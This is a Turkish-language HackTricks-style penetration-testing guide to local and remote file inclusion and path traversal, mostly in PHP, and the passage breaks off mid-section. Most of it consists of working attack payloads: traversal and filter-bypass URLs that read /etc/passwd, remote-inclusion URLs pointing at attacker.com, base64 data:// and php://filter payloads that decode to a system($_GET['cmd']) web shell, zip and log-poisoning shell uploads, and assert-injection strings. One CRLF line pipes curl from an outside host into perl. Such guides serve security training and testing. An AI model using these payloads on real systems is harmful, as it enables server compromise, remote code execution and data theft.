Dosya Dahil Etme/Yol Traversali

Reading time: 23 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Dosya Dahil Etme

Uzaktan Dosya Dahil Etme (RFI): Dosya, uzaktaki bir sunucudan yüklenir (En İyi: Kodu yazabilirsiniz ve sunucu bunu çalıştırır). PHP'de bu varsayılan olarak devre dışıdır (allow_url_include).
Yerel Dosya Dahil Etme (LFI): Sunucu, yerel bir dosyayı yükler.

Zafiyet, kullanıcının sunucu tarafından yüklenecek dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.

Zayıf PHP fonksiyonları: require, require_once, include, include_once

Bu zafiyeti istismar etmek için ilginç bir araç: https://github.com/kurobeats/fimap

Kör - İlginç - LFI2RCE dosyaları

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Birçok *nix LFI listesini birleştirip daha fazla yol ekleyerek bunu oluşturdum:

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \ kullanmayı deneyin.
Ayrıca ../../../../../ eklemeyi deneyin.

Dosya /etc/password'ı bulmak için çeşitli teknikler kullanan bir liste burada bulunabilir (açığın var olup olmadığını kontrol etmek için).

Windows

Farklı kelime listelerinin birleştirilmesi:

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Ayrıca / yerine \ kullanmayı deneyin.
Ayrıca C:/ kaldırmayı ve ../../../../../ eklemeyi deneyin.

Dosya /boot.ini'yi bulmak için çeşitli teknikler kullanan bir liste burada bulunabilir (açığın var olup olmadığını kontrol etmek için).

OS X

Linux'un LFI listesini kontrol edin.

Temel LFI ve bypass'ler

Tüm örnekler Yerel Dosya Dahil Etme için geçerlidir ancak Uzaktan Dosya Dahil Etme için de uygulanabilir (sayfa=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences stripped non-recursively

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Verilen dizeye daha fazla karakter ekleme işlemini atlatın (atlatma: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Bu, PHP 5.4'ten beri çözüldü

Kodlama

Çift URL kodlaması (ve diğerleri) gibi standart dışı kodlamalar kullanabilirsiniz:

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Mevcut klasörden

Belki de arka uç klasör yolunu kontrol ediyor:

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Sunucu Üzerinde Dosya Sistemi Dizinlerini Keşfetme

Bir sunucunun dosya sistemi, belirli teknikler kullanılarak yalnızca dosyaları değil, dizinleri de tanımlamak için özyinelemeli olarak keşfedilebilir. Bu süreç, dizin derinliğini belirlemeyi ve belirli klasörlerin varlığını sorgulamayı içerir. Bunu başarmak için aşağıda ayrıntılı bir yöntem bulunmaktadır:

  1. Dizin Derinliğini Belirleme: Mevcut dizininizin derinliğini, /etc/passwd dosyasını başarıyla alarak belirleyin (bu, sunucu Linux tabanlıysa geçerlidir). Örnek bir URL, üç derinliği gösterecek şekilde aşağıdaki gibi yapılandırılabilir:
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Klasörleri Sorgula: Şüpheli klasörün adını (örneğin, private) URL'ye ekleyin, ardından /etc/passwd'a geri gidin. Ekstra dizin seviyesi derinliği bir artırmayı gerektirir:
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Sonuçları Yorumlayın: Sunucunun yanıtı, klasörün var olup olmadığını gösterir:
  • Hata / Çıktı Yok: private klasörü muhtemelen belirtilen konumda mevcut değildir.
  • /etc/passwd İçeriği: private klasörünün varlığı doğrulanmıştır.
  1. Kapsamlı Keşif: Bulunan klasörler, aynı teknik veya geleneksel Yerel Dosya Dahil Etme (LFI) yöntemleri kullanılarak alt dizinler veya dosyalar için daha fazla araştırılabilir.

Dosya sistemindeki farklı konumlarda dizinleri keşfetmek için yükü buna göre ayarlayın. Örneğin, /var/www/ içinde bir private dizini olup olmadığını kontrol etmek için (mevcut dizinin derinliği 3 olarak varsayıldığında) şunu kullanın:

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ek karakterler ekleyen belirli güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile istenen dosyaya işaret eden bir dosya yolu oluşturmaktır.

PHP'de, dosya sisteminin doğası gereği bir dosya yolunun çeşitli temsilleri eşdeğer olarak kabul edilebilir. Örneğin:

  • /etc/passwd, /etc//passwd, /etc/./passwd ve /etc/passwd/ hepsi aynı yol olarak değerlendirilir.
  • Son 6 karakter passwd olduğunda, bir / eklemek (bunu passwd/ yaparak) hedef dosyayı değiştirmez.
  • Benzer şekilde, bir dosya yoluna .php eklenirse (örneğin shellcode.php), sonuna /. eklemek erişilen dosyayı değiştirmeyecektir.

Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan /etc/passwd dosyasına erişmek için yol kısaltmasını nasıl kullanacağınızı göstermektedir:

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Bu senaryolarda, gereken geçiş sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.

  • Nokta Segmentleri ve Ekstra Karakterler Kullanma: Geçiş dizileri (../) ek nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir, bu sayede sunucu tarafından eklenen dizgiler etkili bir şekilde göz ardı edilir.
  • Gerekli Geçiş Sayısını Belirleme: Deneme yanılma yoluyla, kök dizine ve ardından /etc/passwd'a gitmek için gereken ../ dizilerinin kesin sayısını bulmak mümkündür, böylece eklenen dizgiler (örneğin, .php) etkisiz hale getirilirken istenen yol (/etc/passwd) sağlam kalır.
  • Sahte Bir Dizinle Başlama: Yolu var olmayan bir dizinle (örneğin a/) başlatmak yaygın bir uygulamadır. Bu teknik, bir önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır.

Yol kısaltma teknikleri kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.

Bu güvenlik açığı PHP 5.3'te düzeltildi.

Filtre atlatma hileleri

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Uzaktan Dosya Dahil Etme

php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü allow_url_include Kapalı. Bunun çalışması için Açık olması gerekir ve bu durumda sunucunuzdan bir PHP dosyası dahil edebilir ve RCE elde edebilirsiniz:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Eğer bir sebepten dolayı allow_url_include Açık ise, ancak PHP dış web sayfalarına erişimi filtreliyorsa, bu gönderiye göre, örneğin base64 ile b64 PHP kodunu çözmek ve RCE elde etmek için veri protokolünü kullanabilirsiniz:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

note

Önceki kodda, son +.txt eklendi çünkü saldırganın .txt ile biten bir dizeye ihtiyacı vardı, bu yüzden dize bununla bitiyor ve b64 çözümlemesinden sonra o kısım sadece gereksiz veriler dönecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla, çalıştırılacak).

Başka bir örnek php:// protokolünü kullanmayan şöyle olacaktır:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Kök Elemanı

Python'da bu gibi bir kodda:

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Eğer kullanıcı file_name için mutlak bir yol geçirirse, önceki yol sadece kaldırılır:

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

Bu, belgelere göre beklenen davranıştır:

Eğer bir bileşen mutlak bir yol ise, tüm önceki bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder.

Java Dizinlerini Listele

Görünüşe göre, Java'da bir Yol Traversali varsa ve bir dosya yerine bir dizin isterseniz, dizinin bir listesi döndürülür. Bu, diğer dillerde (bildiğim kadarıyla) olmayacaktır.

En İyi 25 parametre

Yerel dosya dahil etme (LFI) zafiyetlerine karşı savunmasız olabilecek en iyi 25 parametrenin listesi ( link ):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP filtreleri, veriler okunmadan veya yazılmadan önce temel değişiklik işlemleri gerçekleştirmeye olanak tanır. 5 filtre kategorisi vardır:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Verilerden etiketleri kaldırır ("<" ve ">" karakterleri arasındaki her şey)
  • Bu filtrenin modern PHP sürümlerinden kaybolduğunu unutmayın.
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Farklı bir kodlamaya dönüştürür (convert.iconv.<input_enc>.<output_enc>). Desteklenen tüm kodlamaların listesini almak için konsolda iconv -l komutunu çalıştırın.

warning

convert.iconv.* dönüşüm filtresini kötüye kullanarak rastgele metin üretebilirsiniz, bu da rastgele metin yazmak veya bir işlev gibi dahil etme işlemini rastgele metin yapmak için yararlı olabilir. Daha fazla bilgi için LFI2RCE via php filters bağlantısına bakın.

  • Compression Filters
  • zlib.deflate: İçeriği sıkıştırır (çok fazla bilgi sızdırırken yararlıdır)
  • zlib.inflate: Verileri açar
  • Encryption Filters
  • mcrypt.* : Kullanımdan kaldırıldı
  • mdecrypt.* : Kullanımdan kaldırıldı
  • Diğer Filtreler
  • php'de var_dump(stream_get_filters()); komutunu çalıştırarak birkaç beklenmedik filtre bulabilirsiniz:
  • consumed
  • dechunk: HTTP chunked kodlamasını tersine çevirir
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

"php://filter" kısmı büyük/küçük harf duyarsızdır

php filtrelerini oracle olarak kullanarak rastgele dosyaları okuma

Bu yazıda sunulan bir teknik, sunucudan geri dönen çıktıyı almadan yerel bir dosyayı okumayı öneriyor. Bu teknik, php filtrelerini oracle olarak kullanarak dosyanın boolean sızdırılması (karakter karakter) üzerine kuruludur. Bunun nedeni, php filtrelerinin bir metni, php'nin bir istisna fırlatmasını sağlamak için yeterince büyük hale getirmek için kullanılabilmesidir.

Orijinal yazıda tekniğin detaylı bir açıklamasını bulabilirsiniz, ancak burada hızlı bir özet:

  • Metnin başındaki karakteri bırakmak ve dize boyutunu üssel olarak artırmak için UCS-4LE codec'ini kullanın.
  • Bu, ilk harf doğru tahmin edildiğinde o kadar büyük bir metin oluşturmak için kullanılacak ki php bir hata tetikleyecektir.
  • dechunk filtresi, ilk karakter bir onaltılık değilse her şeyi kaldıracaktır, böylece ilk karakterin onaltılık olup olmadığını bilebiliriz.
  • Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle), metnin başındaki bir harfi tahmin etmemizi sağlayacaktır; çünkü yeterince dönüşüm yaptığımızda artık bir onaltılık karakter olmaktan çıkacaktır. Çünkü eğer onaltılık ise, dechunk onu silmeyecek ve başlangıç bombası php hatasını tetikleyecektir.
  • convert.iconv.UNICODE.CP930 codec'i her harfi bir sonrakine dönüştürür (bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin a olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g harfi artık bir onaltılık karakter değildir, bu nedenle dechunk onu silmez ve php hatası başlangıç bombası ile tetiklenir.
  • Başlangıçta rot13 gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterleri sızdırmak mümkündür (ve diğer codec'ler, diğer harfleri onaltılık aralığına taşımak için kullanılabilir).
  • İlk karakter bir sayı olduğunda, bunu base64 ile kodlamak ve sayıyı sızdırmak için ilk 2 harfi sızdırmak gerekir.
  • Son sorun, ilk harften daha fazlasını nasıl sızdıracağınızı görmektir. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi sıralı bellek filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin ilk konumuna diğer harfleri almak mümkündür.
  • Ve daha fazla veri elde edebilmek için, başlangıçta 2 bayt çöp verisi oluşturma fikri vardır; convert.iconv.UTF16.UTF16 ile, bunu sonraki 2 bayt ile pivotlamak için UCS-4LE uygularız ve çöp veriye kadar veriyi sileriz (bu, başlangıç metninin ilk 2 baytını kaldıracaktır). İstenilen bit'e ulaşana kadar bunu yapmaya devam edin.

Yazıda bunu otomatik olarak gerçekleştirmek için bir araç da sızdırılmıştır: php_filters_chain_oracle_exploit.

php://fd

Bu sarmalayıcı, işlemin açık olan dosya tanımlayıcılarına erişim sağlar. Açık dosyaların içeriğini sızdırmak için potansiyel olarak yararlıdır:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

php://stdin, php://stdout ve php://stderr kullanarak sırasıyla dosya tanımlayıcıları 0, 1 ve 2'ye erişebilirsiniz (bu durumun bir saldırıda nasıl faydalı olabileceğinden emin değilim)

zip:// ve rar://

İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve buna erişin.
Rar protokolünü kötüye kullanabilmek için özellikle etkinleştirilmesi gerekir.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Bu protokolün php yapılandırmaları allow_url_open ve allow_url_include ile kısıtlandığını unutmayın.

expect://

Expect'in etkinleştirilmesi gerekir. Bunu kullanarak kod çalıştırabilirsiniz:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

POST parametrelerinde yükünüzü belirtin:

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Bir .phar dosyası, bir web uygulaması dosya yükleme için include gibi fonksiyonlar kullandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası, bir .phar dosyasının oluşturulmasını göstermektedir:

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

.phar dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır:

bash
php --define phar.readonly=0 create_path.php

Yürütme sırasında test.phar adında bir dosya oluşturulacak ve bu, Yerel Dosya Dahil Etme (LFI) zafiyetlerini istismar etmek için kullanılabilir.

LFI yalnızca dosya okumakla sınırlıysa ve içindeki PHP kodunu çalıştırmıyorsa, file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), veya filesize() gibi fonksiyonlar aracılığıyla bir deserialization zafiyetinin istismar edilmesi denenebilir. Bu zafiyet, phar protokolü kullanılarak dosyaların okunmasıyla ilişkilidir.

.phar dosyaları bağlamında deserialization zafiyetlerini istismar etmeye dair detaylı bir anlayış için aşağıdaki belgede yer alan bağlantıya bakın:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

php filtrelerini destekleyen herhangi bir keyfi dosya okuma istismar edilerek RCE elde etmek mümkündü. Detaylı açıklama bu yazıda bulunabilir.
Çok hızlı bir özet: PHP yığınında bir 3 bayt taşması istismar edilerek belirli boyuttaki serbest parçaların zinciri değiştirilerek herhangi bir adrese yazma imkanı sağlandı, böylece system çağrısı yapmak için bir hook eklendi.
Daha fazla php filtresi istismar edilerek belirli boyutlarda parçalar tahsis etmek mümkündü.

Daha Fazla Protokol

Burada dahil edilebilecek daha fazla protokolü kontrol edin:

  • php://memory and php://temp — Belleğe veya geçici bir dosyaya yazma (bu, bir dosya dahil etme saldırısında nasıl faydalı olabileceğinden emin değilim)
  • file:// — Yerel dosya sistemine erişim
  • http:// — HTTP(s) URL'lerine erişim
  • ftp:// — FTP(s) URL'lerine erişim
  • zlib:// — Sıkıştırma Akışları
  • glob:// — Desene uyan yol adlarını bulma (Hiçbir yazdırılabilir şey döndürmez, bu yüzden burada pek faydalı değil)
  • ssh2:// — Güvenli Shell 2
  • ogg:// — Ses akışları (Keyfi dosyaları okumak için faydalı değil)

PHP'nin 'assert' ile LFI

PHP'deki Yerel Dosya Dahil Etme (LFI) riskleri, dizeler içinde kod çalıştırabilen 'assert' fonksiyonu ile çalışırken oldukça yüksektir. Bu, ".." gibi dizin geçiş karakterleri içeren girdilerin kontrol edilmesi ancak düzgün bir şekilde temizlenmemesi durumunda özellikle sorunludur.

Örneğin, PHP kodu dizin geçişini önlemek için şu şekilde tasarlanmış olabilir:

bash
assert("strpos('$file', '..') === false") or die("");

Bu, geçişi durdurmayı amaçlasa da, istemeden kod enjeksiyonu için bir vektör oluşturur. Dosya içeriğini okumak için bunu istismar etmek isteyen bir saldırgan şunları kullanabilir:

plaintext
' and die(highlight_file('/etc/passwd')) or '

Benzer şekilde, rastgele sistem komutları çalıştırmak için şunlar kullanılabilir:

plaintext
' and die(system("id")) or '

Önemli olan bu yükleri URL-encode etmektir.

PHP Blind Path Traversal

warning

Bu teknik, bir PHP fonksiyonunun dosya yolunu kontrol ettiğiniz durumlarda geçerlidir; bu fonksiyon bir dosyaya erişecek ancak dosyanın içeriğini göremeyeceksiniz (örneğin, file() fonksiyonuna basit bir çağrı gibi) ama içerik gösterilmeyecek.

bu inanılmaz yazıda bir blind path traversal'ın PHP filtresi aracılığıyla bir hata oracle'ı üzerinden bir dosyanın içeriğini dışarı sızdırmak için nasıl kötüye kullanılabileceği açıklanmaktadır.

Özetle, teknik, bir dosyanın içeriğini o kadar büyük yapmak için "UCS-4LE" kodlamasını kullanmaktadır ki, dosyayı açan PHP fonksiyonu bir hata tetikleyecektir.

Sonra, ilk karakteri sızdırmak için filtre dechunk diğerleriyle birlikte kullanılır, örneğin base64 veya rot13 ve nihayetinde filtreler convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE kullanılarak diğer karakterler başa yerleştirilir ve sızdırılır.

Zayıf olabilecek fonksiyonlar: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (sadece hedef okuma için bunu kullanın), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Teknik detaylar için belirtilen yazıya bakın!

LFI2RCE

Remote File Inclusion

Daha önce açıklandığı gibi, bu bağlantıyı takip edin.

Apache/Nginx log dosyası aracılığıyla

Eğer Apache veya Nginx sunucusu LFI'ye karşı zayıfsa, dahil etme fonksiyonu içinde /var/log/apache2/access.log veya /var/log/nginx/access.log dosyasına erişmeye çalışabilirsiniz, kullanıcı ajanı içinde veya bir GET parametresi içinde <?php system($_GET['c']); ?> gibi bir php shell ayarlayıp o dosyayı dahil edebilirsiniz.

warning

Shell için çift tırnak kullanıyorsanız, basit tırnaklar yerine, çift tırnaklar "quote;" dizesi için değiştirilecektir, PHP orada bir hata verecektir ve başka hiçbir şey çalıştırılmayacaktır.

Ayrıca, yükü doğru yazdığınızdan emin olun yoksa PHP, log dosyasını yüklemeye çalıştığında her seferinde hata verecek ve ikinci bir fırsatınız olmayacaktır.

Bu, diğer loglarda da yapılabilir ama dikkatli olun, loglardaki kod URL encoded olabilir ve bu Shell'i bozabilir. Authorization "basic" başlığı, "user:password" içeriğini Base64 formatında taşır ve loglar içinde çözülür. PHPShell bu başlık içine yerleştirilebilir.
Diğer olası log yolları:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

E-posta ile

Bir e-posta gönderin iç hesap (user@localhost) içeren PHP yüklemenizle birlikte <?php echo system($_REQUEST["cmd"]); ?> ve kullanıcı e-postasına /var/mail/<USERNAME> veya /var/spool/mail/<USERNAME> gibi bir yol ile dahil etmeye çalışın.

/proc/*/fd/* ile

  1. Birçok shell yükleyin (örneğin: 100)
  2. http://example.com/index.php?page=/proc/$PID/fd/$FD dahil edin, burada $PID = sürecin PID'si (brute force ile bulunabilir) ve $FD dosya tanımlayıcısıdır (brute force ile bulunabilir).

/proc/self/environ ile

Bir log dosyası gibi, yüklemeyi User-Agent içinde gönderin, bu /proc/self/environ dosyası içinde yansıtılacaktır.

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Eğer bir dosya yükleyebiliyorsanız, sadece shell yükünü içine enjekte edin (örneğin: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Dosyanın okunabilirliğini korumak için, resimlerin/doc/pdf'nin meta verilerine enjekte etmek en iyisidir.

Zip dosyası yükleyerek

Sıkıştırılmış bir PHP shell içeren bir ZIP dosyası yükleyin ve erişin:

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP oturumları

Web sitesinin PHP Oturumu (PHPSESSID) kullanıp kullanmadığını kontrol edin.

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

PHP'de bu oturumlar /var/lib/php5/sess\[PHPSESSID]_ dosyalarında saklanır.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Keki <?php system('cat /etc/passwd');?> olarak ayarlayın.

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

PHP oturum dosyasını dahil etmek için LFI'yi kullanın.

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Eğer ssh aktifse, hangi kullanıcının kullanıldığını kontrol edin (/proc/self/status & /etc/passwd) ve <HOME>/.ssh/id_rsa'ya erişmeye çalışın.

Via vsftpd logs

FTP sunucusu vsftpd için loglar /var/log/vsftpd.log konumundadır. Bir Yerel Dosya Dahil Etme (LFI) açığı mevcutsa ve maruz kalmış bir vsftpd sunucusuna erişim mümkünse, aşağıdaki adımlar dikkate alınabilir:

  1. Giriş sürecinde kullanıcı adı alanına bir PHP yükü enjekte edin.
  2. Enjeksiyondan sonra, LFI'yi kullanarak sunucu loglarını /var/log/vsftpd.log konumundan alın.

Via php base64 filter (using base64)

Bu makalede gösterildiği gibi, PHP base64 filtresi sadece Non-base64'ü yok sayar. Bunu dosya uzantısı kontrolünü atlamak için kullanabilirsiniz: eğer ".php" ile biten base64 sağlarsanız, "."'yu yok sayar ve base64'e "php" ekler. İşte bir örnek yük:

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Bu yazı, php filtrelerini kullanarak rastgele içerik oluşturabileceğinizi açıklar. Bu, temelde bir dosyaya yazmanıza gerek kalmadan dahil etmek için rastgele php kodu oluşturabileceğiniz anlamına gelir.

LFI2RCE via PHP Filters

Via segmentation fault

Geçici olarak /tmp dizinine kaydedilecek bir dosya yükleyin, ardından aynı istekte bir segmentation fault tetikleyin, ve ardından geçici dosya silinmeyecek ve onu arayabilirsiniz.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Eğer bir Local File Inclusion bulduysanız ve Nginx PHP'nin önünde çalışıyorsa, aşağıdaki teknikle RCE elde edebilirsiniz:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Eğer bir Local File Inclusion bulduysanız, hatta bir oturumunuz yoksa ve session.auto_start Kapalı ise. PHP_SESSION_UPLOAD_PROGRESS'i multipart POST verilerinde sağlarsanız, PHP sizin için oturumu etkinleştirecektir. Bunu RCE elde etmek için kötüye kullanabilirsiniz:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Eğer bir Local File Inclusion bulduysanız ve sunucu Windows üzerinde çalışıyorsa RCE elde edebilirsiniz:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

Bu yazıda açıklandığı gibi, /usr/local/lib/phppearcmd.php dosyası php docker görüntülerinde varsayılan olarak mevcuttur. Ayrıca, bir URL parametresi = içermiyorsa, bunun bir argüman olarak kullanılacağı belirtilmiştir.

Aşağıdaki istek, /tmp/hello.php dosyasında <?=phpinfo()?> içeriği ile bir dosya oluşturur:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Aşağıdaki, RCE elde etmek için bir CRLF açığını istismar eder (buradan buraya):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() Üzerinden (file_uploads = on)

Eğer bir Local File Inclusion bulduysanız ve file_uploads = on olan bir phpinfo() dosyası bulduysanız, RCE elde edebilirsiniz:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Yol Açıklaması Üzerinden

Eğer bir Local File Inclusion bulduysanız ve geçici dosyanın yolunu sızdırabiliyorsanız AMA sunucu dahil edilecek dosyanın PHP işaretlerine bakıyorsa, bu Race Condition ile o kontrolü bypass etmeyi deneyebilirsiniz:

